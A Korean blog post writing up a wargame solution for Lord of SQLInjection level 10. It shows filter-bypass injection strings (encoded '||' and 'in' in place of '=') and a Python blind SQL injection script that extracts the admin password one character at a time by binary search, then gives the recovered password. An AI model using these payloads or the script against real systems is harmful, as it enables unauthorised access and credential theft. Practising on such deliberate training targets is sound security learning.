[LOS] Load of SQLInjection 10번

2022. 10. 24. 13:04·Play/wargame

- OR연산자인 수직선 | 필터링 → URL인코딩하면 %7c

- 같다 = 필터링 → 컬럼 in ('admin')

- 패스워드를 알아내야 한다.

 

?pw=%27%7c%7cid%20in%20(%27admin%27)%23

하면 admin로그인은 가능.

 

pw를 알아내기 위해..

블라인드 sql injection 할 것이다.

위 쿼리에 && 1 in (1)과 && 1 in (2) 넣으면 두 결과가 다른 것 확인 가능.

 

 

이제 해보자..

1. pw 길이 알아내기

length(pw) in (1) ~ length(pw) in (n) 반복

n=8

?pw=%27%7c%7cid%20in%20(%27admin%27)%26%26length(pw)%20in%20(8)%23

 

2. 코드 작성

- 집에서하자 업무컴으로 암것도 안됨

import requests

url = "https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php"
cookie = {"PHPSESSID": "세션"}

def pw_find():
    length = 8
    pw = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            param = {
                "pw": "'%7c%7cid in ('admin')%26%26ascii(mid(pw,{},1)) in ({})#".format(
                    i + 1, value
                )
            }
            print(param)
            req = requests.get(url, params=param, cookies=cookie)
            if "Hello admin" in req.text:
                pw += chr(value)
                break
            else:
                param = {
                    "pw": "'%7c%7cid in ('admin')%26%26ascii(mid(pw,{},1)) > {}#".format(
                        i + 1, value
                    )
                }
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    start_num = value
                    value = (value + end_num) // 2
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("password: ", pw)

pw_find()

 

 

참고로 substr 필터링이 존재하기 때문에..

mid함수를 사용했다.

 

그러나 지금 사정상 파이썬 코드를 못돌려서 노가다했다.

각 56 56 101 51 49 51 55 102

=> 88e3137f

 

저작자표시 (새창열림)

'Play > wargame' 카테고리의 다른 글

[LOS] Load of SQLInjection 13번 풀이  (0) 2022.10.28
[LOS] Load of SQLInjection 12번 풀이  (5) 2022.10.25
[LOS] Lord of SQLinjection 7번  (0) 2022.10.23
webhacking.kr 6번 - base64  (0) 2022.10.18
(webhacking.kr 2번) 해도 해도 헷갈리는 Blind SQLInjection  (4) 2022.10.11
'Play/wargame' 카테고리의 다른 글
  • [LOS] Load of SQLInjection 13번 풀이
  • [LOS] Load of SQLInjection 12번 풀이
  • [LOS] Lord of SQLinjection 7번
  • webhacking.kr 6번 - base64
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    보안뉴스
    혼공
    프로세스
    공급망공격
    뉴스요약
    파이썬입문
    리버싱초보
    정보보호
    혼자공부하는파이썬
    windows internals
    드림핵리버싱
    리버싱
    보안이슈
    kisa
    IT뉴스
    윈도우인터널스
    파이썬공부
    정보보안
    jwt
    랜섬웨어
    혼공파
    파이썬초보
    악성코드
    자바스크립트 상속
    혼공단
    커널디버깅
    정보보안교육
    혼공학습단
    파이썬
    it이슈
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
[LOS] Load of SQLInjection 10번
상단으로

티스토리툴바